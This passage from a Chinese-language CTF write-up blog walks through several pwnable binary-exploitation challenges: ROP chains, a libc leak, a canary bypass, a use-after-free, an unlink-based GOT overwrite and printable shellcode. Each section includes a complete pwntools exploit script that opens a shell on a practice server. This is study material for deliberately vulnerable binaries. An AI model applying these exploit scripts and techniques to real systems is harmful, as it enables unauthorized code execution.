add(0x60,"a"*4, "f")
add(0x60,"a"*4, "\x00"*0x13+p64(one))
free(3)
sh.interactive()

if __name__ == '__main__':
main("node3.buuoj.cn","27295",0,1)

pwnable_317

  • checksec
1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • IDA

通过字节定位找到main函数

发现是中规中矩的 ret2syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
char *v4; // [rsp+8h] [rbp-28h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
result = ++byte_4B9330;
if ( byte_4B9330 == 1 )
{
sub_446EC0(1u, "addr:", 5uLL);
sub_446E20(0, buf, 0x18uLL);
v4 = sub_40EE70(buf);
sub_446EC0(1u, "data:", 5uLL);
sub_446E20(0, v4, 0x18uLL);
result = 0;
}
if ( __readfsqword(0x28u) != v6 )
sub_44A3E0();
return result;
}

可以向任意地址写最多0x18字节的数据

  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from struct import pack
import sys

name = sys.argv[1]
elf = ELF(name)
libc = elf.libc
sh = 0

l64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :sh.sendlineafter(str(a),str(b))
sa = lambda a,b :sh.sendafter(str(a),str(b))
lg = lambda name,data : sh.success(name + ": 0x%x" % data)
se = lambda payload: sh.send(payload)
rl = lambda : sh.recv()
sl = lambda payload: sh.sendline(payload)
ru = lambda a :sh.recvuntil(str(a))

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process(name)
else:
sh = remote(ip,port)
pop_rdi=0x401696
pop_rax=0x41e4af
pop_rdx_rsi=0x44a309
bin_sh_addr=0x4b4140
sla("addr:",str(0x4b40f0))
sa("data:",p64(0x402960)+p64(0x401b6d))
sla("addr:",0x4b4100)
sa("data:",p64(pop_rdi))
sla("addr:",0x4b4108)
sa("data:",p64(bin_sh_addr)+p64(pop_rax)+p64(0x3b))
sla("addr:",0x4b4120)
sa("data:",p64(pop_rdx_rsi)+p64(0)+p64(0))
sla("addr:",0x4b4138)
sa("data:",p64(0x446e2c)+"/bin/sh\x00")

#get_shell
sla("addr:",str(0x4b40f0))
sa("data:",p64(0x401c4b))
sh.interactive()
if __name__ == '__main__':
main("node3.buuoj.cn","28599",0,1)

也可以用 ROPgadget 生成 ropchain,再分包送到地址,最后在调用 leave ret返回gadget

pwnable_dubblesort

  • checksec

    Arch: i386-32-little
    RELRO: Full RELRO
    Stack: Canary found
    NX: NX enabled
    PIE: PIE enabled
    FORTIFY: Enabled

  • IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int *num; // edi
unsigned int i; // esi
unsigned int idx; // esi
int result; // eax
unsigned int number; // [esp+18h] [ebp-74h] BYREF
int v10[8]; // [esp+1Ch] [ebp-70h] BYREF
char buf[64]; // [esp+3Ch] [ebp-50h] BYREF
unsigned int v11; // [esp+7Ch] [ebp-10h]

v11 = __readgsdword(0x14u);
inital();
__printf_chk(1, "What your name :");
read(0, buf, 0x40u);
__printf_chk(1, "Hello %s,How many numbers do you what to sort :");
__isoc99_scanf("%u", &number);
v3 = number;
if ( number )
{
num = v10;
for ( i = 0; i < number; ++i )
{
__printf_chk(1, "Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", num);
v3 = number;
++num;
}
}
Sort(v10, v3);
puts("Result :");
if ( number )
{
for ( idx = 0; idx < number; ++idx )
__printf_chk(1, "%u ");
}
result = 0;
if ( __readgsdword(0x14u) != v11 )
sub_BA0();
return result;
}

对数组输入进行排序,数组一处

  • 小知识点:

没有什么字符可以既让scanf认为它是合法字符,同时又不会修改栈上的数据呢?在多次尝试和不断查阅资料后,我发现“+”和“-”可以达到此目的!因为这两个符号可以定义正数和负数,所以会被识别为合法字符。比如输入“+4”会被识别为4,而“-4”则会将其转为正数输出(%u的原因)

  • 思路

输入name泄露libc_base,数组溢出写rop链,使用+和-跳过Canary

  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
import sys

name = sys.argv[1]
elf = ELF(name)
# libc = elf.libc
# libc = ELF("libc_32.so.6")
libc = ELF("libc-2.23.so")
sh = 0

l64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :sh.sendlineafter(str(a),str(b))
sa = lambda a,b :sh.sendafter(str(a),str(b))
lg = lambda name,data : sh.success(name + ": 0x%x" % data)
se = lambda payload: sh.send(payload)
rl = lambda : sh.recv()
sl = lambda payload: sh.sendline(payload)
ru = lambda a :sh.recvuntil(str(a))

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process(name)
else:
sh = remote(ip,port)

payload = "a"*0x1c
sa("What your name :",payload)
ru("a"*0x1c)
libc_base = u32(sh.recv(4))- 0x1ae244
system = libc.symbols['system'] + libc_base
binsh = libc.search('/bin/sh\x00').next() + libc_base
lg("libc_base",libc_base)
lg("system,",system)
lg("binsh,",binsh)

sla("How many numbers do you what to sort :",str(35))
for i in xrange(32):
if i == 0x18:
sla(" :", "+")
continue
if i >= 0x19:
sla(" :", str(0xf0000000))
continue
sla(" :", str(i))

sla(" :", str(system))
sla(" :", str(system+1))
sla(" :", str(binsh))
sh.interactive()

if __name__ == '__main__':
main("node3.buuoj.cn","28070",0,1)

pwnable_bf

  • checksec
1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  • IDA

没啥好审的,使用brianfuck编程

  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
import sys

name = sys.argv[1]
elf = ELF(name)
# libc = elf.libc
libc = ELF("libc-2.23.so")
sh = 0

l64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :sh.sendlineafter(str(a),str(b))
sa = lambda a,b :sh.sendafter(str(a),str(b))
lg = lambda name,data : sh.success(name + ": 0x%x" % data)
se = lambda payload: sh.send(payload)
rl = lambda : sh.recv()
sl = lambda payload: sh.sendline(payload)
ru = lambda a :sh.recvuntil(str(a))

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process(name)
else:
sh = remote(ip,port)
p=0x0804a0a0
putchar=0x804a030
jmp=0x8048671

ru("type some brainfuck instructions except [ ]\n")
payload="."
payload+="<"*(112-4)+"<."*4+"<"#leak putchar
payload+=">,"*4+"<"*36+">,"*4 #reset puts,fgets
payload+="<"*4+'>'*28+'>,'*4+'.' #reset memset

sl(payload)
sh.recv(1)
puts_addr=u32(sh.recv(4)[::-1])
print "puts_addr="+hex(puts_addr)


system_addr=libc.symbols["system"]+puts_addr-libc.symbols["putchar"]
se(p32(jmp))
print "system_addr="+hex(system_addr)
print hex(elf.got["putchar"])
gets_addr=libc.symbols["gets"]+puts_addr-libc.symbols["putchar"]
print "gets_addr="+hex(gets_addr)
se(p32(system_addr))
se(p32(gets_addr))
ru("type some brainfuck instructions except [ ]\n")
sl("/bin/sh\x00")

sh.interactive()
if __name__ == '__main__':
main("node3.buuoj.cn","29632",0,1)

pwnable_echo2

pwnable_echo1 没啥区别

  • checksec
1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
  • IDA

这次把echo1关了

echo2

1
2
3
4
5
6
7
8
9
10
__int64 echo2()
{
char format; // [rsp+0h] [rbp-20h]

(*(o + 3))(o);
get_input(&format, 32);
printf(&format, 32LL);
(*(o + 4))(o);
return 0LL;
}

echo3

1
2
3
4
5
6
7
8
9
10
11
12
__int64 echo3()
{
char *s; // ST08_8

(*(o + 3))(o);
s = malloc(0x20uLL);
get_input(s, 0x20);
puts(s);
free(s);
(*(o + 4))(o, 0x20LL);
return 0LL;
}

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  o = malloc(0x28uLL);
*(o + 3) = greetings;
*(o + 4) = byebye;
......
......
if ( choice == 4 )
break;
puts("invalid menu");
}
cleanup();
printf("Are you sure you want to exit? (y/n)", &choice);
choice = getchar();
}
while ( choice != 'y' );
puts("bye");
  • 思路

1.在输入name时输入shellcode

2.使用字符串格式化漏洞实现任意地址读,读出shellcode的位置

3.再退出时没确定退出就释放了 chunk_o ,在echo3的时候就会分配回去,而main使用这个chunk保存greetingsbyebye,我们就可以修改这个函数地址,调用的时候就会直接调用我们的shellcode

6NhzB8.png

greetings的值被修改

  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
import sys

name = sys.argv[1]
elf = ELF(name)
libc = elf.libc
sh = 0

l64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :sh.sendlineafter(str(a),str(b))
sa = lambda a,b :sh.sendafter(str(a),str(b))
lg = lambda name,data : sh.success(name + ": 0x%x" % data)
se = lambda payload: sh.send(payload)
rl = lambda : sh.recv()
sl = lambda payload: sh.sendline(payload)
ru = lambda a :sh.recvuntil(str(a))

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process(name)
else:
sh = remote(ip,port)
shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
sla("hey, what's your name? : ",shellcode)
sla("> ","2")
sla("hello "+shellcode+"\n","%9$p")
ru("0x")
shellcode_addr = int(sh.recv(12),16)-0x20
lg("shellcode_addr",shellcode_addr)
sla("> ","4")
sla("Are you sure you want to exit? (y/n)","n")
# gdb.attach(sh)
# raw_input()
sla("> ","3")
sl("a"*24+p64(shellcode_addr))
sh.interactive()

if __name__ == '__main__':
main("node3.buuoj.cn","26037",0,1)

pwnable_wtf

  • checksec
1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+10h] [rbp-30h]
int v5; // [rsp+3Ch] [rbp-4h]

__isoc99_scanf("%d", &v5);
if ( v5 > 0x20 )
{
puts("preventing buffer overflow");
v5 = 0x20;
}
my_fgets(&v4, v5);
return 0;
}

my_fgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall my_fgets(__int64 addr, int len)
{
bool v2; // al
int v4; // [rsp+4h] [rbp-1Ch]
char buf; // [rsp+1Bh] [rbp-5h]
unsigned int i; // [rsp+1Ch] [rbp-4h]

v4 = len;
for ( i = 0; ; ++i )
{
v2 = v4-- != 0;
if ( !v2 )
break;
read(0, &buf, 1uLL);
if ( buf == 10 )
break;
*(addr + i) = buf;
}
return i;
}

main输入长度和比较是 int,而my_getsunsigned int,导致整数溢出从而栈溢出

  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
import sys

name = sys.argv[1]
elf = ELF(name)
libc = elf.libc
sh = 0

l64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :sh.sendlineafter(str(a),str(b))
sa = lambda a,b :sh.sendafter(str(a),str(b))
lg = lambda name,data : sh.success(name + ": 0x%x" % data)
se = lambda payload: sh.send(payload)
rl = lambda : sh.recv()
sl = lambda payload: sh.sendline(payload)
ru = lambda a :sh.recvuntil(str(a))

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process(name)
else:
sh = remote(ip,port)
sl("-1")
paylaod = "a"*0x38+p64(0x4005F4)
sl(paylaod)
print sh.recvall()
if __name__ == '__main__':
main("node3.buuoj.cn","26335",0,1)

pwnable_dragon

  • checksec
1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
  • IDA

FightDragon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
void __cdecl FightDragon(int a1)
{
char v1; // al
void *v2; // ST1C_4
int v3; // [esp+10h] [ebp-18h]
_DWORD *ptr; // [esp+14h] [ebp-14h]
dragon2 *dragon; // [esp+18h] [ebp-10h]

ptr = malloc(0x10u);
dragon = malloc(0x10u);
v1 = Count++;
if ( v1 & 1 )
{
*&dragon->sth = 1;
LOBYTE(dragon->HP) = 80;
BYTE1(dragon->HP) = 4;
dragon->Regeneration = 10;
dragon->STR = PrintMonsterInfo;
puts("Mama Dragon Has Appeared!");
}
else
{
*&dragon->sth = 0;
LOBYTE(dragon->HP) = 50;
BYTE1(dragon->HP) = 5;
dragon->Regeneration = 30;
dragon->STR = PrintMonsterInfo;
puts("Baby Dragon Has Appeared!");
}
if ( a1 == 1 )
{
*ptr = 1;
ptr[1] = 42;
ptr[2] = 50;
ptr[3] = PrintPlayerInfo;
v3 = PriestAttack(ptr, dragon);
}
else
{
if ( a1 != 2 )
return;
*ptr = 2;
ptr[1] = 50;
ptr[2] = 0;
ptr[3] = PrintPlayerInfo;
v3 = KnightAttack(ptr, dragon);
}
if ( v3 )
{
puts("Well Done Hero! You Killed The Dragon!");
puts("The World Will Remember You As:");
v2 = malloc(0x10u);
__isoc99_scanf("%16s", v2);
puts("And The Dragon You Have Defeated Was Called:");
(dragon->STR)(dragon);
}
else
{
puts("\nYou Have Been Defeated!");
}
free(ptr);
}

刚刚做完echo2,就留意了下堆,很明显有一个uaf,可以通过打赢龙来要回来,

ptr指向一个龙的结构体,第一个参数就是打印龙信息的函数,我们可以覆盖这个值,指向后门

SecretLevel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.text:08048D78 ; __unwind {
.text:08048D78 push ebp
.text:08048D79 mov ebp, esp
.text:08048D7B sub esp, 28h
.text:08048D7E mov eax, large gs:14h
.text:08048D84 mov [ebp+var_C], eax
.text:08048D87 xor eax, eax
.text:08048D89 mov dword ptr [esp], offset aWelcomeToSecre ; "Welcome to Secret Level!\nInput Passwor"...
.text:08048D90 call _printf
.text:08048D95 lea eax, [ebp+s1]
.text:08048D98 mov [esp+4], eax
.text:08048D9C mov dword ptr [esp], offset a10s ; "%10s"
.text:08048DA3 call ___isoc99_scanf
.text:08048DA8 mov dword ptr [esp+4], offset s2 ; "Nice_Try_But_The_Dragons_Won't_Let_You!"
.text:08048DB0 lea eax, [ebp+s1]
.text:08048DB3 mov [esp], eax ; s1
.text:08048DB6 call _strcmp
.text:08048DBB test eax, eax
.text:08048DBD jnz short loc_8048DD9
.text:08048DBF mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048DC6 call _system
.text:08048DCB mov eax, [ebp+var_C]
.text:08048DCE xor eax, large gs:14h
.text:08048DD5 jz short locret_8048DF6
.text:08048DD7 jmp short loc_8048DF1
....................................
  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
import sys

name = sys.argv[1]
elf = ELF(name)
libc = elf.libc
sh = 0

l64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :sh.sendlineafter(str(a),str(b))
sa = lambda a,b :sh.sendafter(str(a),str(b))
lg = lambda name,data : sh.success(name + ": 0x%x" % data)
se = lambda payload: sh.send(payload)
rl = lambda : sh.recv()
sl = lambda payload: sh.sendline(payload)
ru = lambda a :sh.recvuntil(str(a))

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process(name)
else:
sh = remote(ip,port)
sla('[ 2 ] Knight','1')
sl("3")
sl("3")
sl("2")
sl("3")
sl("3")
sl("2")

sla('[ 2 ] Knight','1')
sl("3")
sl("3")
sl("2")
sl("3")
sl("3")
sl("2")
sl("3")
sl("3")
sl("2")
sl("3")
sl("3")
sl("2")

sla("The World Will Remember You As:",p32(0x08048DBF))
sh.interactive()

if __name__ == '__main__':
main("node3.buuoj.cn","25494",0,1)

pwnable_applestore

  • checksec

checksec

  • IDA

addinsert可以逆向出每一个设备的结构体

1
2
3
4
5
6
7
typedef struct shop
{
char *name;
int price;
Shop *bk;
Shop *fd;
}Shop,PShop

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
......  
while ( item )
{
if ( v1 == idx )
{
BK = item->bk;
FD = item->fd;
if ( FD )
FD->bk = BK;
if ( BK )
BK->fd = FD;
printf("Remove %d:%s from your shopping cart.\n", v1, item->Name);
return __readgsdword(0x14u) ^ v7;
}
++v1;
item = item->bk;
}
.......

这功能是把chunk从item双链中取出,但是只校验了FD、BK的存在,没有校验合理性,如果我们可以控制 Itemfd、bk,就能实现 unlink 的效果

  • 栈内变量覆盖

那么如何控制fd、bk

checkout

1
2
3
4
5
6
7
8
9
10
11
12
v4 = __readgsdword(0x14u);
total = cart();
if ( total == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf(&a1, "%s", "iPhone 8");
a1_4 = 1;
insert(&a1);
total = 7175;
}
printf("Total: $%d\n", total);
puts("Want to checkout? Maybe next time!");

我们回顾add,发现每一个 item 都是以堆的方式存在双链表中,而当总价为7174时,会赠送price为1的item,而这个item是在栈上面的,但是如何实现栈的修改呢?

有两个可以利用的漏洞点

  • Cart
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int cart()
{
signed int j; // eax
signed int counter; // [esp+18h] [ebp-30h]
int total; // [esp+1Ch] [ebp-2Ch]
Shop *I; // [esp+20h] [ebp-28h]
char buf; // [esp+26h] [ebp-22h]
unsigned int v6; // [esp+3Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
counter = 1;
total = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(&buf, 0x15u);
if ( buf == 'y' )
{
puts("==== Cart ====");
for ( I = item_804B070; I; I = I->bk )
{
j = counter++;
printf("%d: %s - $%d\n", j, I->Name, I->price);
total += I->price;
}
}
return total;
}

这里看上去没问题,但是我们仔细在栈帧上看

stack

这样就控制了 fd、bk

  • 泄露libc

然后我们就想泄露libc

Cart里面会输出当前所有的Item,而之前我们已经可以控制 itemfdbk,那先换为 atoi@got,这样去泄露

因为程序是 Partial RELRO ,所以可以覆盖got表实现getshell

  • 如何得到7174

这个穷举也可

1
2
3
4
5
6
7
8
9
10
total = 0
counter = 1
while 1:
total += 199*counter
if (7174-total)%299==0:
print counter
print (7174-total)/299
break
total = 0
counter+=1

6个item_1,20个item_2

  • 思路

  • 控制 itemfdbk,那先换为 atoi@got,泄露libc

  • delete Item->fd=aoti-8,Item->bk=system,将atoi换为system

  • getshell

但是控制 itemfdbk的机会只有一次,无法完成填入system的参数,后面看Writeup才知道还有一种方法

可以通过libc中的environ来泄露栈地址, 泄露了栈地址后通过调试算出偏移可以得到delete函数的ebp地址,delete函数中的ebp指向的是handler函数中的ebp
ebp -> handler_ebp

可以通过改写handler_ebp 为got_atoi + 0x22来完成对got表的覆写

从delete函数返回到handler函数中, 还原栈帧的过程中ebp 的值为改写成got_atoi - 0x22, 这样在调用my_read 函数中时可以对got_atoi 进行覆写, 改写了got表后要考虑的就是/bin/sh 的位置, 可以看到atoi 的参数就是刚刚输入的数据, 这时可以输入p32(system) + “|| /bin/sh”或 p32(system) + “;/bin/sh” 来绕过system 调用/bin/sh
————————————————
版权声明:本文为CSDN博主「苍崎青子」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_43189757/article/details/102850665

这里再强调几个概念:

EBP:栈底指针该寄存器

ESP:栈顶指针寄存器

程序运行时栈地收缩或扩张,也就是ebp和esp的增大或减小

当我们delete结束时,返回到handle,当handle恢复栈时,假设再返回时我们把ebp变成了 atoi@got+0x22

此时的栈

利用EBP收缩让 atoi@got+0x22变为handle的EBP,然后泄露environ来计算栈的地址来修复

我们构造的

change atoi

这个时候atoi@got立马变成system,执行system(“SYS_ADDR||/bin/sh;”),从而getshell

  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
import sys

name = sys.argv[1]
elf = ELF(name)
libc = elf.libc
# libc = ELF("libc-2.23.so")
sh = 0

l64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :sh.sendlineafter(str(a),str(b))
sa = lambda a,b :sh.sendafter(str(a),str(b))
lg = lambda name,data : sh.success(name + ": 0x%x" % data)
se = lambda payload: sh.send(payload)
rl = lambda : sh.recv()
sl = lambda payload: sh.sendline(payload)
ru = lambda a :sh.recvuntil(str(a))

def cmd(ch):
sla("> ",ch)

def List():
cmd(1)

def Add(kind):
cmd(2)
sla("Device Number> ",kind)

def free(idx):
cmd(3)
sla("Item Number> ",idx)

def Cart(payload):
cmd(4)
sla("Let me check your cart. ok? (y/n) > ",payload)

def checkout(payload):
cmd(5)
sla("Let me check your cart. ok? (y/n) > ",payload)


def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process(name)
else:
sh = remote(ip,port)
for i in range(6):
Add("1")
for i in range(20):
Add("2")

checkout("y")
Cart("ya"+p32(elf.got["atoi"])+p32(0))

libcbase = u32(ru("\xf7")[-4:])-libc.sym["atoi"]
environ = libcbase + libc.sym["environ"]
system = libcbase + libc.sym["system"]
lg("libcbase",libcbase)
lg("environ",environ)
lg("system",system)

Cart('ya' + p32(environ)+ p32(0))
ru("27: ")
stack = u32(sh.recv(4))
lg("stack",stack)
payload = '27' + p32(0) + p32(0)
payload += p32(elf.got["atoi"] + 0x22) + p32(stack - 0x100 - 0xc)
free(payload)
sla("> ", p32(system) + "||/bin/sh")
sh.interactive()

if __name__ == '__main__':
main("node3.buuoj.cn","25844",0,0)

pwnable_death_note

  • checksec
1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
  • IDA

一开始还以为是堆的题,思路一直没转过来,后来看wp才知道是栈上的shellcode(怪不得NX没开,开了Canary)

add_note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
printf("Index :");
idx = read_int();
if ( idx > 10 )
{
puts("Out of bound !!");
exit(0);
}
printf("Name :");
read_input(s, 0x50u);
if ( !is_printable(s) )
{
puts("It must be a printable name !");
exit(-1);
}
note[idx] = strdup(s); // 内部调用malloc
puts("Done !");
  • 这里过滤了我们的输入为可见字符,但是只能输入0x50
  • 输入的idx可以是负数,所以可以写到 GOT

这样我们只需要让shellcode为可见字符串组成就行了,一开始我想到的是用 AE64 这个工具,但是生成的shellcode过长,看了看wp的shellcode

  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
import sys

name = sys.argv[1]
elf = ELF(name)
libc = elf.libc
sh = 0

l64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :sh.sendlineafter(str(a),str(b))
sa = lambda a,b :sh.sendafter(str(a),str(b))
lg = lambda name,data : sh.success(name + ": 0x%x" % data)
se = lambda payload: sh.send(payload)
rl = lambda : sh.recv()
sl = lambda payload: sh.sendline(payload)
ru = lambda a :sh.recvuntil(str(a))

def cmd(ch):
sla("Your choice :",ch)

def add(idx,name):
cmd(1)
sla("Index :",idx)
sla("Name :",name)

def show(idx):
cmd(2)
sla("Index :",idx)

def free(idx):
cmd(3)
sla("Index :",idx)

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process(name)
else:
sh = remote(ip,port)

note = 0x804A060
# obj = AE64()
# sc = obj.encode(asm(shellcraft.sh()))
shellcode = '''
/* execve(path='/bin///sh', argv=0, envp=0) */
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx
/*rewrite shellcode to get 'int 80'*/
push edx
pop eax
push 0x60606060
pop edx
sub byte ptr[eax + 0x35] , dl
sub byte ptr[eax + 0x35] , dl
sub byte ptr[eax + 0x34] , dl
push 0x3e3e3e3e
pop edx
sub byte ptr[eax + 0x34] , dl
/*set zero to edx*/
push ecx
pop edx
/*set 0x0b to eax*/
push edx
pop eax
xor al, 0x40
xor al, 0x4b
/*foo order,for holding the place*/
push edx
pop edx
push edx
pop edx
'''
sc = asm(shellcode)+"\x6b\x40"
add((elf.got["puts"]-note)/4,sc)
sh.interactive()

if __name__ == '__main__':
main("node3.buuoj.cn","25938",0,1)